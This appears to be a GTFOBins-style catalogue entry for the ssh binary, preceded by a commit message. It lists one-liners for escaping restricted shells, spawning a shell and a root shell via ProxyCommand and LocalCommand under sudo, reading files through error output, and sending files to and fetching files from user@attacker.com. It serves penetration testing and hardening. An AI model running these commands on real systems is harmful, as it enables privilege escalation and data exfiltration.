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SSH has a LocalCommand option that will run a given command on the client machine after a successful connection. It is generally disabled, but can be enabled on the command line with "-oPermitLocalCommand=yes". This is useful for bypassing restricted shells. Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
33 lines
1.1 KiB
Markdown
33 lines
1.1 KiB
Markdown
---
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functions:
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shell:
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- description: Reconnecting may help bypassing restricted shells.
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code: ssh localhost $SHELL --noprofile --norc
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- description: Spawn interactive shell through ProxyCommand option.
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code: ssh -o ProxyCommand=';sh 0<&2 1>&2' x
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- description: Spawn interactive shell on client, requires a successful connection towards `host`.
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code: ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh host
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file-upload:
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- description: Send local file to a SSH server.
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code: |
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HOST=user@attacker.com
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RPATH=file_to_save
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LPATH=file_to_send
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ssh $HOST "cat > $RPATH" < $LPATH
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file-download:
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- description: Fetch a remote file from a SSH server.
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code: |
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HOST=user@attacker.com
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RPATH=file_to_get
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LPATH=file_to_save
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ssh $HOST "cat $RPATH" > $LPATH
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file-read:
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- description: The read file content is corrupted by error prints.
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code: |
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LFILE=file_to_read
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ssh -F $LFILE localhost
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sudo:
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- description: Spawn interactive root shell through ProxyCommand option.
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code: sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
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---
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